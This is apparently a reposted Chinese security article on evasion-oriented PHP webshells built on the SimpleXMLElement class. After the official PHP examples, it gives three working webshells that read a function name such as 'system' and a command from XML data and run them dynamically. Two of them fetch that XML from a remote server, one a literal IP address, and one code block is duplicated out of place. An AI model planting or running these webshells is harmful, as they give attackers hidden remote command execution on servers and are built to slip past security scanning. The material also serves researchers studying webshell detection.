SimpleXMLElement是 PHP 中的一个类,用于处理 XML 数据。它提供了简单、方便的方式来解析 XML 文件和字符串,并可以轻松地访问和作 XML 元素、属性、文本和注释。
就是解析xml内容的,下面是我构造的几种webshell案例。
键()
SimpleXMLElement::key — 返回当前密钥
在PHP8.0之前,SimpleXMLElement::key()仅在子类 SimpleXMLIterator 上声明。
可以看到只在8版本才能使用
官方案例
$xmlElement = new SimpleXMLElement('<books><book>PHP basics</book><book>XML basics</book></books>');
echo var_dump($xmlElement->key());
$xmlElement->rewind(); // rewind to the first element
echo var_dump($xmlElement->key());
bool(false)
string(4) "book"
SimpleXMLElement::xpath — 对 XML 数据运行 XPath 查询
官方案例
$string = <<<XML
<a>
<b>
<c>text</c>
<c>stuff</c>
</b>
<d>
<c>code</c>
</d>
</a>
XML;
$xml = new SimpleXMLElement($string);
/* Search for <a><b><c> */
$result = $xml->xpath('/a/b/c');
foreach($result as $node) {
echo '/a/b/c: ',$node,"n";
}
/* Relative paths also work... */
$result = $xml->xpath('b/c');
foreach($result as $node) {
echo 'b/c: ',$node,"n";
}
/a/b/c: text
/a/b/c: stuff
b/c: text
b/c: stuff
所以使用以上思路可以构造出的webshell
网站外壳
$xmlData=file_get_contents("http://ip/3.xml");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump (($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString())
<books>
<system>whoami</system>
</books>
SimpleXMLElement::getDocNamespaces — 返回文档中声明的命名空间
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
这个版本就比较宽泛了
官方使用案例
$xml = <<<XML xml version="1.0" standalone="yes" <people xmlns:p="http://example.org/ns"> <p:person id="1">John Doe</p:person> <p:person id="2">Susie Q. Public</p:person></people>XML; $sxe = new SimpleXMLElement($xml);$namespaces = $sxe->getDocNamespaces();var_dump($namespaces);
array(1) {
["p"]=>
string(21) "http://example.org/ns"
}
网站外壳
$xmlData=file_get_contents("1.xml");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getDocNamespaces(TRUE);
var_dump($namespaces);
$namespaces["t"]($namespaces["p"]);
<peoplexmlns:p="whoami"xmlns:t="system">
<p:persont:id="1">John Doe</p:person>
<p:persont:id="2"a:addr="123 Street"xmlns:a="http://example.org/addr">
<books>
<book>
PHP basics
</book>
</books>
</p:person>
</people>
$xmlData=file_get_contents("http://49.232.222.195/3.xml");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump (($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString())
可以看到只能在8版本才能使用,在 PHP 8.0 之前,SimpleXMLElement::getChildren()仅在子类 SimpleXMLIterator 上声明。
官方使用案例
$xml = <<<XML<books> <book> <title>PHP Basics</title> <author>Jim Smith</author> </book> <book>XML basics</book></books>XML;$xmlElement = new SimpleXMLElement($xml);for($xmlElement->rewind(); $xmlElement->valid(); $xmlElement->next()) { foreach($xmlElement->getChildren() as $name => $data) { echo "The $name is '$data' from the class " . get_class($data) . "n"; }}
The title is 'PHP Basics' from the classSimpleXMLElement
Theauthoris 'JimSmith' fromtheclassSimpleXMLElement
网站外壳
$xmlData=file_get_contents("1.xml");
$xmlElement = new SimpleXMLElement($xmlData);
for($xmlElement->rewind(); $xmlElement->valid(); $xmlElement->next()) {
foreach($xmlElement->getChildren() as $name => $data) {
$name($data);
}
}
<books>
<book>
<system>whoami</system>
</book>
</books>
https://forum.butian.net/share/4207
原文始发于微信公众号(道格安全):基于SimpleXMLElement class的免杀webshell | 52期
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论